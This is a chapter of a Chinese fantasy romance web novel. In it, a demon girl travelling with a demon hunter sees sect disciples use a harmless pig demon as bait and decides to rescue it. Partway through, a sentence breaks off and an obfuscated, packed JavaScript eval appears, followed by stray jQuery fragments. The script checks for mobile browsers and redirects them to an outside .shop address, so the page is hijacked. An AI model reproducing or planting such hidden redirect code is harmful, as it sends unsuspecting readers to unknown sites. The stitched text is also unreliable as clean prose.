其实,感受到裴惊风主动抱着自己时,荧灯吓了一大跳。
她没有想到,平日里满是锋芒的少年,也会有这样温柔小心的时候。
当宽厚的手掌覆上耳朵,荧灯紧贴着他的胸膛,听着他逐渐混乱的心跳,或许是被转移了注意力,大脑中对雷声的恐惧被另一种情绪挤占了位置。
这样的怀抱,似乎能隔绝一切危险。
荧灯的心跳也随着裴惊风混乱的心跳声不断加快,她感受到了一种前所未有的暖意。
情蛊只对中了子蛊的人有效,所以裴惊风的举动是中蛊所致,但她心中那股强烈的悸动却不是。
一个奇怪的念头在脑海中浮现:她不会真的喜欢上这个捉妖师了吧……
不,不可以。
荧灯死死咬住唇,逼迫自己理智一些。
裴惊风只是她寻找母亲的过程中的一环,她不属于临岐山,更不可能一直待在他身边,如今习惯的生活,迟早会成为过眼云烟。
况且,人妖殊途。
裴惊风是捉妖师,不可能会真的喜欢上一只妖的。
他现在对自己的温情,全是情蛊在催动。这样的感情,如水中月,镜中花,假的便是假的,总有破灭的一天。
而她应该是清醒的,演戏终究是演戏,不能入戏太深。
这样想着,荧灯却舍不下紧紧环抱住他的手。
她心中泛起一阵酸涩之感。
嗅着裴惊风身上淡淡的皂角香,荧灯贪婪地将脸深深地埋在少年怀中,不住地安慰自己:只这一刻就好了,等雷声消失,她就不会再胡思乱想了。
两人就这样在火堆前相拥而眠,度过了漫漫雨夜。
第二天醒来后,荧灯睁开眼睛,发现自己依旧靠在他怀里。
她一抬头,正好对上裴惊风的目光。
两人皆是一顿,荧灯迅速起身,与他拉开了距离。
前两次肢体接触,都是在晚上,火光之下看不清脸上的颜色。现在却是清晨,阳光洒下来,能看个一清二楚。
荧灯看见绯红的颜色从裴惊风的耳根蔓延到耳尖,而他面色如常,摆着一张冷脸。
裴惊风解释:“我看你睡得沉,怕把你弄醒,才一直没有动。”
荧灯点点头,装作不在乎的样子。
他理了理压出褶皱的衣裳,岔开话题。
“刚刚醒来的时候,我有所感应,已经有参与者杀了第一只妖,今天,我们有事要做了。”
杀了第一只妖……
荧灯沉默了片刻,道:“好,你要去哪里,我就跟着你。”
裴惊风双指合拢,聚集起灵力,在身前画了一个复杂的符咒。
他闭上眼睛,不一会儿,便有千丝万缕的红色灵气从四面八方涌来,在他手中织成一张简易的地图,图上有许多发光的红点。
“好了,走吧。”
裴惊风带着荧灯御剑而行,两人穿过茂密的山林,终于看到了人烟。
这是个小村子,一条粗糙的土路向前蜿蜒开来,茅檐草舍沿路修建,看着贫寒朴素,却透着满满的生活气。
他们在村口停下,沿着小路往前走。
村中住户不算多,此刻却不断有人从屋中出来,看见衣着不凡的一男一女经过,纷纷露出崇敬又欢喜的笑。
还未多走几步,荧灯就听到有妇人催促匆匆从地里赶回来的农夫。
“你快点儿,范老二他们家猪圈里出了个妖怪,刚刚被临岐山的捉妖师抓住了,再不快点赶过去怕是看不到了!”
荧灯听到这话,不自觉地默默加快了脚步。
这村子人少地小,没一会儿就能从村口走到头。
荧灯很快就看到前面的石坝子里站了许多人,嘈杂的声音传来,再走近些,她看到了熟悉的白色弟子服。
“又来了两位仙君!”
人群中有人大声嚷嚷,随后,村民们和几名修士都转过身,向两人看来。
高挑俊朗的男修带着同行的弟子,一齐恭敬地行礼:“尊者。”
是李泽玉,荧灯记得入阵之前见过他一次。
既然他在这里,那么……
荧灯往后面看去,果然看到席寒枝站在李泽玉身后,悄悄向笑着她招手。
平日里豪爽直快的女孩,因为心上人在身边,竟收敛了一贯的动作,尽量将自己美好的一面展示出来。
裴惊风淡淡道:“我巡视路过此处,你们继续。”
几人回到自己原本的位置上去。
荧灯笑了笑,主动走到席寒枝身旁:“好巧,这么快就遇到你了,你们这是抓到妖了?”
席寒枝点点头,语气欢快:“对,我们运气挺好的,刚走到这村子就抓到了一只猪妖。”
一边说着,她一边带着荧灯往人群最里面走去,给荧灯指了指。
顺着手指,荧灯看到了席寒枝口中的那只猪妖。
它被捆妖索束缚,在村民的咒骂声中垂下脑袋。
这只妖应该是刚化形没多久,情绪一波动,连两只肥大的耳朵也收不回去,人脸猪耳,看着有几分滑稽。
稚嫩的童声带着笑意:“娘,它怎么长这样,好难看。”
荧灯心头微动,她问:“他在村里做什么了?”
席寒枝:“村民们也是今天才发现它,倒是还没伤人,应该是冲着不归山的大妖来的。”
她点了点头,尽力压制着心中的情绪,又问:“他看起来就是个灵力低微的小妖,你们没有马上杀他,把他捆在这里做什么?试炼时间紧迫,不用赶着去下一个地方吗?”
“这只猪妖不太聪明,刚刚抓住的时候说它的朋友们会来救它,所以我们干脆用它作饵,引同行的妖过来,好一网打尽。”
听到这里,荧灯已经很不舒服了。
一只灵力低微的小妖,根本没有做什么害人性命的恶事,只因仙门的一次任务,就要丢掉性命。
他们还要把同伴间的宝贵情谊,当做杀死猪妖朋友的利刃。
一只妖,从生发灵智,到幻化人形,最少也要数十年。它们花了那么长的时间将自己养大,甚至没有做过什么坏事,可是却要像罪孽滔天的罪犯,在这里处死示众。
即便是为了那要陨落的大妖而来,也不过是想从四散的灵气中分一杯羹,这又有什么错呢?
在仙门待了这么些天,她却始终记得,自己也是一只妖。
她并不反对修士捉妖,在啼乌城的时候,她也曾帮助裴惊风斩杀幻罗鸟,那是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713370|207513||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
因为对方确实有罪孽。
如今妖族上位者不管作恶之妖,仙门捉妖维护人间安定,这是理所应当。
但这并不意味着,他们可以这样不分青红皂白地对无辜妖灵进行屠杀。
荧灯一双眸子冷了下来,她认真地说:“他虽然是妖,却没有害人,这样也一定要死吗?人中有好坏,妖中自然也分善恶,并不是每一只妖都是罪大恶极。”
席寒枝察觉到她语气不对,小心地看着她的眼睛,一时不知道该说什么好。
她……这是生气了吗?
荧灯也意识到自己刚才被怒气冲昏了头脑,她重新调整了神色,语气恢复了正常:“没什么,我只是觉得,这样有些残忍。”
席寒枝忍不住思考她刚才的那番话,细细想来,确实是这样。
可是她作为临岐山弟子,专程来参加试炼,就必须完成宗门的任务。即便是知道这猪妖可能无辜,却也没有办法,就算她软下心来,小队中的其他人也一定不会认同。
看到席寒枝似乎因自己的话有些愧疚,荧灯平静下来。
她们立场不同,所想的自然也不同,她知道说这些话不可能救下猪妖,不过席寒枝本质还是一个很好的姑娘。
她拍了拍席寒枝的手臂,笑了笑,与她道别。
“你就当我刚刚说了胡话,别放在心上。裴仙君还要赶着去下一个地方,我们先走啦。”
席寒枝抱了抱她:“注意安全。”
荧灯点点头,从人群中慢慢退了出来。
“赶着去下一个地方”的裴惊风正懒洋洋地靠着角落里的土墙,一双眼睛正定定地看着她,看样子是在等她。
荧灯走到他身旁,整个人像失了魂一般。
裴惊风再次施法,带她飞离此处。
刚离开村庄,荧灯就用双手握住了裴惊风的手腕。
既然情蛊有用,她便要开始利用了。
裴惊风回头看向她,又看了一眼自己的手腕。
“裴惊风,你之前说过,只要不长时间离开你,坠星珠就不会失效,对吗?”
裴惊风似乎早就料到她要说什么,问:“你想救刚刚那只妖?”
荧灯一怔,没想到他一眼就看出来了。
她确实是这样想的。
并不是爱心泛滥,她作为一只妖,无法坐视自己的同族被肆意杀害。
她不知道怎么回答,毕竟,对一个捉妖师说自己要去救妖,这很荒谬。
裴惊风却当她默认,又问:“不怕身份被发现吗?”
荧灯眼睛闪过一丝亮光,摇摇头:“不怕。”
说完,又怕裴惊风觉得自己会连累他,补充道:“我会用了变幻之术再去,毕竟修行了上千年,算是个厉害的妖,不会那么容易暴露。就算真的暴露了,我也不会连累你的,你只管把所有罪名都推到我身上便好。”
裴惊风的反应让她震惊,居然真的有戏。
他点点头:“我不拦你,但维护试炼秩序是我的责任,一旦收到弟子的求助信号,我会第一时间赶过去。”
顿了顿,他又道:“不可伤人,不可救恶妖。”
荧灯连忙应下,感激地看着他,扯下头上的簪子,旋身消失在了裴惊风视线中。